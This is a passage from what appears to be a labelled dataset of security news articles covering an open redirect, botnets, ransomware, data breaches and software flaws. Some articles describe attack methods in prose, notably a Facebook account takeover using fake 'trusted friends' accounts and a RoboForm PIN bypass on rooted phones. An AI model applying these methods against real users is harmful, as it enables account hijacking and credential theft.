""The detector verifies the source code of PMS (from different Android versions) to identify any violation of a set of security constraints, in which we expect that the attributes, properties (name, permission, UID, etc.) and data of a third-party app will not affect the installation and configurations of system apps during an update,"" the researchers explained. ""A Pileup flaw is detected once any of those constraints are breached.""
All the six vulnerabilities have been reported to Google by the researchers, from which one of it has been fixed by them.

",Vulnerability
URL redirection Vulnerability in Google & Facebook,https://thehackernews.com/2012/01/url-redirection-vulnerability-in-google.html,"URL redirection Vulnerability in Google

An open redirect is a vulnerability that exists when a script allows redirectionto an external site by directly calling a specific URL in an unfiltered,unmanaged fashion, which could be used to redirect victims to unintended,malicious web sites. A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect.

A similar vulnerability is reported in Google by ""Ucha Gobejishvili ( longrifle0x )"". This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.
Url: https://accounts.google.com/o/oauth2/auth?redirect_uri=https://www.something.com

Same vulnerability in Facebook, Discovered by ZeRtOx from Devitel group:
https://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&u=www.something.com


Impact of Vulnerability :
The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.
The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site.

",Malware
"Facebook ""Trusted friends"" Security Feature Easily Exploitable",https://thehackernews.com/2011/10/facebook-trusted-friends-security.html,"Facebook ""Trusted friends"" Security Feature Easily Exploitable

Last week Facebook announced that in one day 600,000 accounts possibly get hacked. Another possible solution for Facebook to combat security issues is to find 3 to 5 ""Trusted friends"". Facebook will be adding two new security features that will allow users to regain control of their account if it gets hijacked.

In Facebook's case, the keys are codes, and the user can choose from three to five ""Trusted friends"" who are then provided with a code. If you ever get locked out of your account (and you can't access your email to follow the link after resetting your Facebook password), you gather all the codes and use them to gain access to it again. Yet This method is used by hackers to hack most of the Facebook account using little bit of Social Engineering from last 5-6 Months according to me. Let us know, how this works...

How its Exploitable:
This Exploit is 90% Successful on the victims who add friends without knowing them or just for increasing the number of Friends. This method to hack a Facebook Account only works if 3 trusted friends agree to give you the security code ! Another Idea, Why not Create 3 fake accounts and send Friend Request to Victim. Once your 3 Fake Accounts become friends with your victims facebook account, you can select those 3 Accounts to get the Security Code and Reset the password of Victim. Here a Complete Demonstration of Hacking Method on HackersOnlineClub.

Other Serious Facebook Vulnerability in Last Week
Last Week Nathan Power from SecurityPentest has discovered new Facebook Vulnerability, that can easily attach EXE files in messages,cause possible User Credentials to be Compromised . Not even Account Security, Also there are lots of Privacy Issues in Facebook,like Nelson Novaes Neto, a Brazilian (independent) Security and Behavior Research have analyze a privacy issue in Facebook Ticker that allows any person chasing you without your knowledge or consent . Facebook should takes these privacy issues & security holes very seriously.

",Vulnerability
Aldi Bot - Buy a Botnet just in 10 Euros,https://thehackernews.com/2011/09/aldi-bot-buy-botnet-just-in-10-euros.html,"Aldi Bot - Buy a Botnet just in 10 Euros
Researchers of German security firm G Data have discovered that a bot builder dubbed ""Aldi Bot"" is currently being offered for that much on underground forums. The Aldi Bot Builder appears to be based on the ZeuS source code. The malware has nothing to do with the discount supermarket chain and it is not clear why its author chose to name the bot after Aldi – it is thought it may relate to the bot's discount pricing.

Company says ""We've encountered a bot sale, which, in case it finds followers, can cause a massive glut of malware all over. The so-called ""Aldi Bot"" first appeared in late August and has been sold for the initial price of €10! Parts of the bot's code oddly look like ZeuS code…""

The Aldi Bot can read (saved) passwords from the Firefox web browser, Pidgin IM client and JDownloader download tool, and send them to a command and control server which is included in the €10 price tag. The Aldi Bot can also carry out Distributed Denial-of-Service (DDoS) attacks, as the bot's author demonstrates with a YouTube video showing an attack on the German Bundeskriminalamt (equivalent to the UK CID) web site. The bot can also be set up as a SOCKS proxy to use infected computers as proxies for protocols of the bot herder's choosing. Infecting systems with the discount malware does, however, require additional measures, such as exploit packs on infected web sites.

",Malware
Ransomware Attack Takes Down Bristol Airport's Flight Display Screens,https://thehackernews.com/2018/09/cyberattack-bristol-airport.html,"Bristol Airport has blamed a ransomware attack for causing a blackout of flight information screens for two days over the weekend.

The airport said that the attack started Friday morning, taking out several computers over the airport network, including its in-house display screens which provide details about the arrival and departure information of flights.

The attack forced the airport officials to take down its systems and use whiteboards and paper posters to announce check-in and arrival information for flights going through the airport and luggage pickup points for all Friday, Saturday, and the subsequent night.
""We are currently experiencing technical problems with our flight information screens,"" a post on the Bristol Airport's official Twitter feed read on Friday.

""Flights are unaffected and details of check-in desks, boarding gates, and arrival/departure times will be made over the public address system. Additional staff are on hand to assist passengers.""
The airport also urged passengers to arrive early and ""allow extra time for check-in and boarding processes,"" though this two days technical meltdown caused delays in baggage handling, with customers needed to wait longer than one hour for their bags.

However, no flight delays were reportedly caused due to the cyber attack.

An airport spokesman said that the information screens went offline due to a so-called ""ransomware"" attack, though he confirmed that no ""ransom"" had been paid to get the airport systems working again.

Affected systems and flight information screens were finally restored on Sunday, officials said.

""We are grateful to passengers for their patience while we have been working to resolve issues with flight information this weekend. Digital screens are now live in arrivals and departures. Work will continue to restore complete site-wide coverage as soon as possible,"" the airport tweeted on Sunday.

At the moment, it is not clear how the ransomware got into the airport systems. Bristol is carrying out an investigation to find out what happened.

",Cyber_Attack
Server Misconfiguration discloses passwords of all Barracuda Network Employees,https://thehackernews.com/2013/07/Barracuda-network-Password-disclosure-vulnerability_24.html,"Security expert Ebrahim Hegazy has found a Password disclosure vulnerability in Barracuda update servers which allows to gain access to employee credentials.

The Egyptian information security advisor Ebrahim Hegazy(@Zigoo0) has found a Password disclosure vulnerability in one of Barracuda update servers which allows the attackers to gain access to all its employee data.
When the system administrator needs to protect a directory with a second authentication layer (basic authentication) besides the back-end authentication, he can do it with multiple methods, one of that methods is through the configuration of .htaccess and .htpasswd files. A proper configuration could prevent a visitor to surf reserved area (e.g /Cpanel or /admin), in this scenario a popup proposes to the user asking to enter authentication credentials, that credentials are saved inside .htpasswd file as:
Username:Password

In normal scenarios the .htpasswd file should be stored outside the web directory (e.g. C:\AnyName\.htpasswd)

But in Barracuda issue the file was stored inside the admin panel directory and was accessible by anyone with serious repercussion.

If the user directly accesses the following link https://updates.cudasvc.com/admin/.htpasswd ,he will be able to disclose the passwords of all Barracuda Network Employees such as: Support, Sales, UK Branch employees, Update server users, Engineers and more of those who have access to the basic authentication layer!

The Password disclosure vulnerability is exacerbated by the fact that the passwords were saved as a clear text, following the screenshots before the vulnerability got patched
The vulnerability has been reported by Ebrahim Hegazy to Barracuda, that already fixed it, despite it is not eligible for the bounty. Curious that Barracuda considered ""Password disclosure vulnerability"" out of scope vulnerability, IMHO I consider it a critical flaw.
Ebrahim Hegazy has found and reported the vulnerability to Barracuda as a participant in the Barracuda bug bounty program.

I consider Ebrahim Hegazy a very skilled professional that is doing an excellent job in security field, let's remind that in the last months he already discovered flaws in DropBox, Avira web site and Yahoo! ... What is the next?

What will happen if these smart guys will start to sell the knowledge of vulnerabilities in the underground?

",Vulnerability
APT28 — State Sponsored Russian Hacker Group,https://thehackernews.com/2014/10/APT28-Russian-hacker-cyber-espionage.html,"Nearly a decade-long cyber espionage group that targeted a variety of Eastern European governments and security-related organizations including the North Atlantic Treaty Organization (NATO) has been exposed by a security research firm.

The US intelligence firm FireEye released its latest Advanced Persistent Threat (APT) report on Tuesday which said that the cyber attacks targeting various organisations would be of the interest to Russia, and ""may be"" sponsored by the Russian government.

The Report entitled ""APT28: A Window Into Russia's Cyber Espionage Operations"" published by FireEye has ""evidence of long-standing, focused operations that indicate a government sponsor - specifically, a government based in Moscow.""
""Despite rumours of the Russian government's alleged involvement in high-profile government and military cyber attacks, there has been little hard evidence of any link to cyber espionage,"" Dan McWhorter, FireEye vice president of Threat Intelligence, wrote in a blog post discussing the report.
""FireEye's latest APT report sheds light on cyber espionage operations that we assess to be most likely to be sponsored by the Russian government, long believed to be a leader among major nations in performing sophisticated network attacks.""
The cyber-espionage group believed to have been operating since at least 2007 in order to steal political and state secrets from businesses and foreign governments. The group launched a cyber attack on government in Georgia, Eastern Europe, as well as NATO and the Organisation for Security and Co-operation in Europe, according to the report.

Whereas the Russian cyber criminal groups are known for conducting massive cyber campaigns aimed at stealing money and financial information, but APT28 focuses on ""privileged information related to governments, militaries and security organizations.""
""This group, unlike the China-based threat actors we track, does not appear to conduct widespread intellectual property theft for economic gain,"" FireEye stated in the report. ""Nor have we observed the group steal and profit from financial account information.""
The security firm analyzed that the malware used by APT28 features a consistent use of the Russian language. Moreover, more than 96 percent of malware samples analyzed by the researchers were compiled between Monday and Friday, between 8AM and 6PM in the time zone paralleling working hours in Moscow and St. Petersburg. This regularity in the work suggests that the hackers were in Moscow, the report argues.
The APT28 group has constantly updated their software and made the resulting binaries difficult to reverse engineer. It used a downloader tool that FireEye dubbed ""SOURFACE"", a backdoor labelled ""EVILTOSS"" that gives hackers remote access and a flexible modular implant called ""CHOPSTICK"" to enhance functionality of the espionage software.

Infection is usually achieved via a spear phishing email with a relevant lure and the malware hidden in the attachment. The hacker group has also created a number of fake domains for UK-based defence events, including the Counter Terror Expo, as part of the operation to gather intelligence on attendees.

Together with the help of above mentioned tools, the group gained access to the file system and registry; enumerate network resources; create processes; log keystrokes; access stored credentials; execute shellcode, and encrypt exfiltrated data uploaded with an RSA public key.
""The coding practices evident in the group's malware suggest both a high level of skill and an interest in complicating reverse engineering efforts,"" the report stated.
In another report , a top White House official has confirmed that Russian hackers have hacked into the unclassified White House computer networks. ""we identified activity of concern on the unclassified Executive Office of the President network,"".

Russia has been suspected of attacks on Ukraine too, including attempts to gain access to politicians' mobile phone communications.

",Malware
Drupal resets 1 Million Passwords after Data Breach,https://thehackernews.com/2013/05/drupal-resets-1-million-passwords-after.html,"A Drupal data breach was announced by the official Drupal Association, that Passwords for almost one million accounts on the Drupal.org website are being reset after hackers gained unauthorized access to sensitive user data.

The security of the open source content management system has been compromised via third-party software installed on the Drupal.org server infrastructure, and was not the result of a vulnerability within Drupal itself. As countermeasure it is resetting the passwords for nearly one million accounts in the wake of a data breach.

Information exposed includes usernames, email addresses, and country information, as well as hashed passwords. The Drupal.org hasn't revealed the name of the third-party application exploited during the attack.
Evidence of the Drupal data breach was found during a routine security audit:
""Upon discovering the files during a security audit, we shut down the association.drupal.org website to mitigate any possible ongoing security issues related to the files,"" ""The Drupal security team then began forensic evaluations and discovered that user account information had been accessed via this vulnerability.""

""The Drupal.org Security Team and Infrastructure Team have discovered unauthorized access to account information on Drupal.org and groups.drupal.org.

This access was accomplished via third-party software installed on the Drupal.org server infrastructure, and was not the result of a vulnerability within Drupal itself. This notice applies specifically to user account data stored on Drupal.org and groups.drupal.org, and not to sites running Drupal generally.""

The Drupal data breach is considerably really serious about user's security, an impressive amount of web sites is based on the popular content management. The thousands of websites that run on Drupal software estimated at 2 percent of all sites should not be affected by the data breach.

The Drupal.org Security Team confirmed the ""unauthorized access"" to their system, highlighting that there's no evidence that any information was actually stolen. As a precautionary measure was requested all users to reset their passwords at their next login attempt.

Holly Ross, Executive Director for Drupal Association confirmed that they are investigating on the incident that could have exposed also other info: ""We are still investigating the incident and may learn about other types of information compromised, in which case we will notify you accordingly""

The attacks to Open Source CMS solutions are not an isolated cases due their large diffusion, in the past Joomla and WordPress platforms were hit and used to spread malicious code, WordPress recently was hit by a massive ""brute-force"" attack by botnet composed by almost 100,000 bots.

It's easy to predict that this kind of attacks is likely to increase for the large-diffusion of these platforms which makes them privileged targets.

Drupal.org account holders will be required to change their password by entering their username or e-mail address, and following the link included in the e-mail message that follows.

",Vulnerability
2-Year-Old Linux Kernel Issue Resurfaces As High-Risk Flaw,https://thehackernews.com/2017/09/linux-kernel-hacking.html,"A bug in Linux kernel that was discovered two years ago, but was not considered a security threat at that time, has now been recognised as a potential local privilege escalation flaw.

Identified as CVE-2017-1000253, the bug was initially discovered by Google researcher Michael Davidson in April 2015.

Since it was not recognised as a serious bug at that time, the patch for this kernel flaw was not backported to long-term Linux distributions in kernel 3.10.77.

However, researchers at Qualys Research Labs has now found that this vulnerability could be exploited to escalate privileges and it affects all major Linux distributions, including Red Hat, Debian, and CentOS.

The vulnerability left ""all versions of CentOS 7 before 1708 (released on September 13, 2017), all versions of Red Hat Enterprise Linux 7 before 7.4 (released on August 1, 2017), and all versions of CentOS 6 and Red Hat Enterprise Linux 6 are exploitable,"" Qualys said in an advisory published yesterday.

The vulnerability, which has been given a CVSS3 Base Score of 7.8 out of 10, resides in the way Linux kernel loads ELF executables, which potentially results in memory corruption.

Researchers find that an unprivileged local user with access to SUID (or otherwise privileged) Position Independent Executable (PIE) binary could use this vulnerability to escalate their privileges on the affected system.

In order to mitigate this issue, users can switch to the legacy mmap layout by setting vm.legacy_va_layout to 1, which will effectively disable the exploitation of this security flaw.

Since the mmap allocations start much lower in the process address space and follow the bottom-up allocation model, ""the initial PIE executable mapping is far from the reserved stack area and cannot interfere with the stack.""

Qualys says this flaw is not limited to the PIEs whose read-write segment is larger than 128MB, which is the minimum distance between the mmap_base and the highest address of the stack, not the lowest address of the stack.

So, when passing 1.5GB of argument strings to execve(), any PIE can be mapped directly below the stack and trigger the vulnerability.

Linux distributions, including Red Hat, Debian, and CentOS, have released security updates to address the vulnerability.

The Qualys team has promised to publish a proof-of-concept soon exploit that works on CentOS-7 kernel versions ""3.10.0-514.21.2.el7.x86_64"" and ""3.10.0-514.26.1.el7.x86_64,"" once a maximum number of users have had time to patch their systems against the flaw.


Stay Tuned!

",Vulnerability
Oracle Database new zero day exploit put users at risk,https://thehackernews.com/2012/05/oracle-database-new-zero-day-exploit.html,"Oracle Database new zero day exploit put users at risk

Oracle has recommended workarounds for a zero-day Oracle Database flaw that was not fixed in the company's April critical patch update. Oracle issued a security alert for Oracle TNS Poison, the vulnerability, disclosed by researcher Joxean Koret after he mistakenly thought it had been fixed by Oracle, allows an attacker to hijack the information exchanged between clients and databases.

Koret originally reported the vulnerability to Oracle in 2008, four years ago! and said he was surprised to see it had been fixed in Oracle's most recent Critical Patch Update without any acknowledgment of his work.

""This vulnerability is remotely exploitable without authentication, and if successfully exploited, can result in a full compromise of the targeted Database,"" the company warned.

""This security alert addresses the security issue CVE-2012-1675, a vulnerability in the TNS listener which has been recently disclosed as 'TNS Listener Poison Attack' affecting the Oracle Database Server. This vulnerability may be remotely exploitable without authentication, i.e., it may be exploited over a network without the need for a username and password. A remote user can exploit this vulnerability to impact the confidentiality, integrity and availability of systems that do not have recommended solution applied"", Oracle wrote.

A TNS Listener feature known as remote registration dates back to at least 1999 with version 8i of the Oracle Database. By sending a simple query to the service, an attacker can hijack connections legitimate users have already established with the database without the need of a password or other authentication. From then on, data traveling between legitimate users and the server pass through the connection set up by the attacker.

Oracle released a critical update for versions 10g and 11g database products fixing this vulnerability.

",Vulnerability
9 million PCs infected with ZeroAccess botnet,https://thehackernews.com/2012/09/9-million-pcs-infected-with-zeroaccess.html,"In recent months, we've seen the rootkit family Win32/Sirefef and Win64/Sirefef (also known as ZeroAccess Botnet) update its command and control protocol and grow to infect more computers while connecting to over one million computers globally.

Before, disclosed that it creates its own hidden partition on the hard drive and uses hidden alternative data streams to hide and thrive. Then ZeroAccess developer changed infection tactics and stopped using kernel-mode components in the latest version Security firms tracked the growth of x64 version infections. But Recently uncovered by SophosLabs that ZeroAccess botnet took a major shift in strategy and operating entirely in user-mode memory.

There are two distinct ZeroAccess botnets, and each has a 32-bit version and a 64-bit version, numbering four botnets in total. Each botnet is self-contained because it communicates exclusively on a particular port number hard-coded into the bot executable. The botnets can be categorised based on their port numbers. Ports 16464 and 16465 are used by the 32-bit and 64-bit versions of one botnet; ports 16470 and 16471 are used by the 64-bit and 32-bit versions of the other botnet.

They also disclose the ZeroAccess has been installed on computers over nine million times with the current number of active infected PCs numbering around one million.

The current size of the botnet is somewhere in the region of 9 million machines spread throughout the world, but with the majority located in the U.S.

Other than U.S other top infected countries are :
Brazil
Japan
Romania
Argentina
Venezuela
Chile

The ZeroAccess botnet currently creates two primary revenue streams: click fraud and Bitcoin mining. Click fraud and Bitcoin mining can earn the botnet owners a potential $100,000 a day. ""The traffic generated by the ad-click fraud can burn through your bandwidth cap. We have been following a number of bots such as ZeroAccess whose primary function is ad-click fraud. These bots receive instructions from a controller directing them to click on ads on specific web sites. The web site owner gets paid by the advertiser on a per click basis usually through the intermediary of an ad network. The advertisers and ad network operator have a number of safeguards in place to protect against click fraud,"" the report said.

The ZeroAccess botnet not only makes large amounts of money for its owners but it also causes significant damage and loss in a variety of ways to a variety of individuals and entities. Various aspects of ZeroAccess' operation consume considerable bandwidth. This is 1,227,300 bytes per hour, 29,455,200 per day and 895,929,000 bytes per month. 895 MB per month per bot means a botnet with 1 million nodes could be producing as much as 895,000,000 MB or 895 Terabytes of network traffic per month. And all of this occurs before any files are actually downloaded using the protocol.

The peer-to-peer protocol used by the latest version of ZeroAccess contains only a few commands and is designed to spread files and IP addresses across the network quickly. It is encrypted to avoid easy detection and there are a number of measures taken to avoid the network being poisoned or taken over. This generally held at around 150,000 new installations per day, with a noticeable drop at the end of August.

",Malware
Top 4 Data Breaches reported in last 24 Hours,https://thehackernews.com/2016/05/top-data-breach.html,"There is no doubt that data breaches are on the rise. Hardly a day goes without headlines about any significant data breach.

According to the latest 'Cyber Security Breaches Survey 2016' report published by UK government, two-thirds of the biggest firm in the UK have experienced at least a cyber attacks or data breaches within the past 12 months.

Here's today, I am writing about top 4 data breaches reported in last 24 hours, threatened your data privacy and online security.

1. Kiddicare Hacked! 794,000 Accounts Leaked

Kiddicare has admitted that the company has suffered a data breach, which led to the theft of sensitive data belonging to 794,000 users, including phone numbers and residential addresses.

Kiddicare, company that sells child toys and accessories across the United Kingdom, became aware of the data breach after its customers started receiving suspicious text messages – most likely part of a phishing campaign – that attempted to pilfer them to click on a link that takes them for an online survey.

Although the company assured its customers that no banking or financial detail have been compromised in the breach, personal information belonging to nearly 794,000 customers, including their names, delivery addresses, email addresses and telephone numbers, have been exposed.

2. UserVoice Hacked! Users' Accounts Breached

Today morning, I received an email from UserVoice, a web-based service that offers customer service and helpdesk tools, notifying that the company suffered a data breach and some user accounts were compromised, including their names, email addresses, and passwords.

The company admitted that user passwords were protected with the SHA1 hashing algorithm, which is considered as a weak encryption.
""Despite the fact that the passwords were encrypted, it is very possible that an attacker can decrypt this information,"" the company notified. ""As a precautionary measure, we have reset all UserVoice passwords to prevent any chance of the attacker gaining further access to accounts.""
Some famous companies are using customer service tools from UserVoice, including Twitch, Microsoft and more.

3. Google Suffers Insider Data Breach

Google suffered a minor data breach after a vendor unintentionally leaked sensitive information about its undisclosed number of employees to the wrong email address — but luckily, the person who received it deleted the email straight away.

According to report, the data breach happened after an employee at a third-party company that Google uses for its staff benefit management service mistakenly sent personal data to another company.

Google is still investigating the insider data breach that leaked the personal details of Google employees apparently included Social Security Numbers (SSNs) and names, but no details on benefits or family members.

4. London Clinic fined £180,000 for Leaking HIV Patients Data

The Information Commissioner's Office (ICO) has imposed a £180,000 (about $260,000) fine to a London-based HIV clinic run by Chelsea and Westminster Hospital National Health Service (NHS) Foundation Trust, for leaking data of 781 HIV patients

The clinic mistakenly sent a newsletter email containing sensitive medical information relating to a total 781 HIV patients together rather than individually, using 'bcc' field in the email, leaking their names and email addresses to one another.
""People's use of a specialist service at a sexual health clinic is clearly sensitive personal data,"" Information Commissioner Christopher Graham said. ""The law demands this type of information is handled with particular care following clear rules, and put simply, this did not happen.""
The Clinic's medical director said:
""We fully accept the ruling of the ICO for what was a serious breach, and we have worked to ensure that it can never happen again.""

",Data_Breaches
New Apple vulnerability allows Malicious keylogger App to Record User Inputs,https://thehackernews.com/2014/02/new-apple-vulnerability-allows.html,"Yet another Apple vulnerability has been exposed by security researchers, that can be exploited to track your finger's every action on iOS Devices i.e. iPhone, iPad etc.

The exploit reportedly targets a flaw in iOS multitasking capabilities to capture user inputs, according to Security researchers at FireEye.

They found a way to bypass the Apple's app review process effectively and created a proof-of-concept Monitoring app for non-jailbroken iOS 7.0.x devices.

The ""monitoring"" app, that runs in the background of the iPhone is a Keylogger Trojan which could allow hackers to monitor user's activities on the mobile device, including - touches on the screen, home button press, volume button press and TouchID press, and send all collected events to any remote server.
According to researchers, their proof-of-concept app works on versions 7.0.4, 7.0.5, 7.0.6, and 6.1.x.
""Based on the findings, potential attackers can either use phishing to mislead the victim to install a malicious/vulnerable app or exploit another remote vulnerability of some app, and then conduct background monitoring."" FireEye researchers said.
In iOS devices, the application running in the background keeps on refreshing itself; but the researchers also noted that disabling iOS 7's ""Background App Refresh"" setting would not restrict a malicious app from keylogging.
""For example, an app can play music in the background without turning on its ""background app refresh"" switch. Thus a malicious app can disguise itself as a music app to conduct background monitoring."" FireEye explained, So the only present solution to the problem is to manually remove apps from the task switcher.

Earlier this week, Apple has issued an urgent update iOS 7.0.6 in response to a SSL vulnerability that might allow hackers to bypass SSL/TLS verifications on shared and public networks and steal users information from affected devices, including log-in usernames and passwords, as well as other sensitive information.

The Security firm is actively working with Apple on the issue, but until the release of next iOS update, the only thing iOS users can do - Check and monitor the unnecessary applications running on the device via Task Manager and KILL THEM.

Last month, Trustwave's Neal Hindocha also demonstrated that even Smartphone screen swipe gestures can be analyzed by hackers and as a proof-of-concept he developed a prototype 'Screenlogging' malware for the iOS and Android Smartphones that works the same as a keylogger software for desktop.

",Vulnerability
"Adobe Releases Critical Security Updates for Flash Player, Acrobat and Adobe Reader",https://thehackernews.com/2014/08/adobe-security-update.html,"Adobe has released security updates to fix seven vulnerabilities in its Flash and Air platforms and one in its Reader and Acrobat which, according to the company, is being exploited by attackers in wild ""...in limited, isolated attacks targeting Adobe Reader users on Windows.""

The vulnerabilities could allow an attacker to ""take control of affected systems"" marked critical by the company.

A new, out-of-band patch addresses a zero-day vulnerability (CVE-2014-0546) in Adobe Reader and Acrobat that offers an attacker the possibility to bypass sandbox protection and has been leveraged in ""limited, isolated attacks"" against Windows users.
""These updates resolve a sandbox bypass vulnerability that could be exploited to run native code with escalated privileges on Windows,"" Adobe warned.
The lone vulnerability in Adobe Acrobat and Reader was reported by Kaspersky Lab Global Research and Analysis Team director Costin Raiu and Vitaly Kamluk.

However, details of the vulnerability were not disclosed, but Raiu said in a blog post that exploits have been observed in a rare number of targeted attacks, and that it's still important for everyone to patch as soon as possible.
""At the moment, we are not providing any details on these attacks as the investigation is still ongoing,"" Raiu said. ""Although these attacks are very rare, just to stay on the safe side we recommend everyone to get the update from the Adobe site as soon as possible.""
The Apple OS X versions of Acrobat and Reader are not vulnerable. Only Reader and Acrobat versions 11.0.07 and earlier for Windows are affected, according to the company.

The other security update patches seven vulnerabilities in Flash Player, most of which are rated critical by the company, but none of the Flash vulnerabilities are being exploited in the wild, Adobe said.

Five of the updates resolved memory leakage vulnerabilities that can be used to bypass memory address randomization. Rest two patches address a security bypass vulnerability and a use-after-free flaw that could allow an attacker to remotely execute code on the affected system.

The affected versions are as follow:
Adobe Flash Player 14.0.0.145 and earlier versions for Windows and Macintosh
Adobe Flash Player 11.2.202.394 and earlier versions for Linux
Adobe AIR 14.0.0.110 and earlier versions for Windows and Macintosh
Adobe AIR 14.0.0.137 SDK and earlier versions
Adobe AIR 14.0.0.137 SDK & Compiler and earlier versions
Adobe AIR 14.0.0.137 and earlier versions for Android
The company urged its users to apply the updates within three days on Windows, Mac, and Linux platforms. Users may update Acrobat and Reader with the Help > Check for Updates menu option. Flash Player users may download the latest version from Adobe. Users of Internet Explorer and Google Chrome on Windows 8 and above will receive browser updates from those companies with fixed versions of their integrated Flash Player.

Microsoft has also rolled out nine security updates to address at least 37 security holes in Windows and related software, including Internet Explorer, Windows Media Center, One Note, SQL Server, and SharePoint.

The company has also made some important changes this month. Microsoft announced that it will soon begin blocking out-of-date ActiveX controls for Internet Explorer users, and will support only the latest versions of the .NET Framework and IE for each supported operating system.

",Vulnerability
Dumb Ransomware Developer leaves Decryption Keys on Infected Computers,https://thehackernews.com/2014/04/dumb-ransomware-developer-leaves.html,"So, How do Hackers compromise a Website? Simply by exploiting the flaws in it, that means they took advantage of the error in the developers' code. Now, this time the hackers itself has left behind a crucial flaw in its malware code which can be exploited by us to help save our computer systems.

Believe me, it's not an April Fools' joke! A malicious software program that holds the victims' computer files hostage by wrapping them with strong encryption until the victim pays a ransom fee to get them decrypted, has a critical flaw in its malware code itself that it leaves the decryption key on the victim's computer.

The Anti-virus firm Symantec examined a sophisticated malware program dubbed as CryptoDefense (Trojan.Cryptodefense) ransomware, which appeared in the end of the last month.

CryptoDefense is one of the complex malware programs that include a number of effective techniques, including Tor anonymity tool usage and Bitcoin digital currency to extort money from victims. CryptoDefense uses Microsoft's infrastructure and Windows API to generate the encryption and decryption keys, the antivirus firm wrote on its blog.

CryptoDefense encrypts files using public-key cryptography, a strong RSA 2048 encryption in order to ensure files are held to ransom and transmits the private key in plain text back to the attacker's server, so that as soon as the ransom amount is paid by the victim, the attacker will release the private keys to decrypt the files.
So, if once the files have been encrypted, without access to the private key, victims will not be able to decrypt the files. But here they stumbled, the CryptoDefense' developer failed to realize that the private key is also left concealed on the user's computer in a file folder with application data.

""Due to the attacker's poor implementation of the cryptographic functionality they have, quite literally, left their hostages a key to escape,"" Symantec wrote.

Despite the dumb mistake of the malware developer, it is not sure that it will left the users untouched, because some technical skills is required to figure out the decryption keys.
CryptoDefense is been sent out as spam emails, or masquerade itself as a PDF file and once installed in the system, it attempts to communicate with either of the four domains and uploads a profile of the infected machine, the firm wrote.

The Cyber Criminals demand either $500 or €500 that has to be paid within four days and if victim doesn't pay the ransom in the given time frame, the ransom doubles itself.

According to the firm, it is estimated that the cybercriminals received more than $34,000 worth of Bitcoin in just a month, which shows the effectiveness of their scam.

Symantec said it has blocked 11,000 unique CryptoDefense ransomware infections in more than 100 countries, with the majority of the infection attempts are noticed in the U.S. followed by the U.K., Canada, Australia, Japan, India, Italy and the Netherlands.

",Malware
Critical Vulnerability and Privacy LoopHole Found in RoboForm Password Manager,https://thehackernews.com/2014/07/critical-vulnerability-and-privacy.html,"Unless you are a human supercomputer, remembering password is not so easy, and that too if you have a different password for each site. But luckily to make the whole process very easy, there is a growing market out there for password managers and lockers with extra layers of security.

But, if you are using the mobile version of most popular password manager from Password management company RoboForm to manage your passwords then you might be at a risk, claimed a UK based Security researcher.

I am personally using RoboForm from last few months, which is a great password manager application developed by Siber Systems Inc. for various platforms that stores your sensitive data all in one place, protected at RoboForm account and encrypted by a secret master password. RoboForm user be able to then quickly access those passwords and notes anytime, anywhere.

But a IT security consultant and tech enthusiast Paul Moore discovered one critical vulnerability in its app and one Privacy loophole in the RoboForm's service, that could allow attackers and prying eyes to get users' personal data, including stored login credentials of various websites and payment card details.

Note: Yesterday we published this article with a conclusion that RoboForm is secure, but later after re-evaluating and discussing all factors, attack vectors with Moore, we found that RoboForm may leak your private data to attackers.

1) BYPASSING ROBOFORM DEVICE PIN PROTECTION
The vulnerability disclosed by Paul Moore in the security of RoboForm affects its Android and iOS app users, which could allow anyone to bypass RoboForm's PIN Protection in order to access users' sensitive data.

RoboForm mobile apps offer a PIN protection which only protects the app interface from unauthorized access, just like Android's popular 'AppLock' application.

Moore claimed that simply by deleting a specific line (pref_pincode) in the RoboForm's preferences file placed in a folder on the device file system, It was possible for Moore to access confidential data and bypass authentication process on an Android device, even without the requirement of the Master Password, as shown in the Video demonstration uploaded by him.
The important point to be noted here is that the RoboForm's app folder which Moore claims to access is actually placed in root directory of the device, which can't be accessed by the user or any 3rd party app on a non-rooted device.

However, RoboForm team failed to reproduce the flaw and refused the bug report. ""We are not able to replicate it. As I mentioned in the write-up, it's done using an emulator, not a real device. While it's feasibly possible, it's very unlikely that the average person finding a phone with RoboForm installed could execute the precise steps needed to do what Mr. Moore is doing with the emulator."" RoboForm team said.

Yesterday, when I also failed to reproduce it myself on my Android device, then Moore explained me that even after modification, the Roboform app loads the preference file from its cache. So either Roboform app or device requires to restart in order to bypass the PIN protection.

Finally, I tried again. After restarting my Samsung Galaxy S4, I found that Roboform app opened without asking any PIN. Cool! Moore's vulnerability works.

The vulnerability is serious, because the Roboform app stores all my passwords, secret notes and payment card details in it, and PIN bypass cloud allow anyone in 5 minutes with my phone to steal all my sensitive data.
""Additionally, our position is that if someone is able to root a phone, it's not just RoboForm that is vulnerable. Any other sensitive app would be vulnerable."" RoboForm team added.
For successful exploitation, the targeted device should be rooted or jailbroken, but it can be easily done by attackers on the stolen devices.

2.) PRIVACY LOOPHOLE: MASTER PASSWORD SECRECY
Moore believes that the company as a privacy loophole, allows them to store users' secret master password on their server at Siber Systems. But before proceeding to the details of this loophole, you should first learn - How Roboform works.

After installing the Roboform app on Android or Windows system, it will ask you to either register or login with a RoboForm account. Once logged-in, you will get options to create or edit the payment card details, Notes and account passwords, etc.

The Mobile app or desktop software will then prompt the user to set a ""Master Password"" in order to encrypt the data with a strong military grade encryption. Company claims that the Master Password works like a private crypto key, used to encrypts files locally on the device and then app upload them to their server in .RFN format.

Moore claims that company stores the Master password, and asked on Twitter, ""How do you decrypt online before returning the data if you don't get the key?"", In Reply RoboForm said, ""Paul, we decrypt the data locally, not on the servers.""

Once done, the master password will get stored only on the device to automate the future encryptions and decryptions for the users' convenience.

ROBOFORM WEB APP CAN STORE YOUR MASTER PASSWORD
Until here, Moore and me agree that the company is not capturing our private master password on the device apps or windows apps, but Roboform Everywhere also has online web app at https://online.roboform.com/login?lang=en location.

Using this web app hosted on Siber System servers, users can login to their Roboform account and access the stored data from the web browser, as shown:
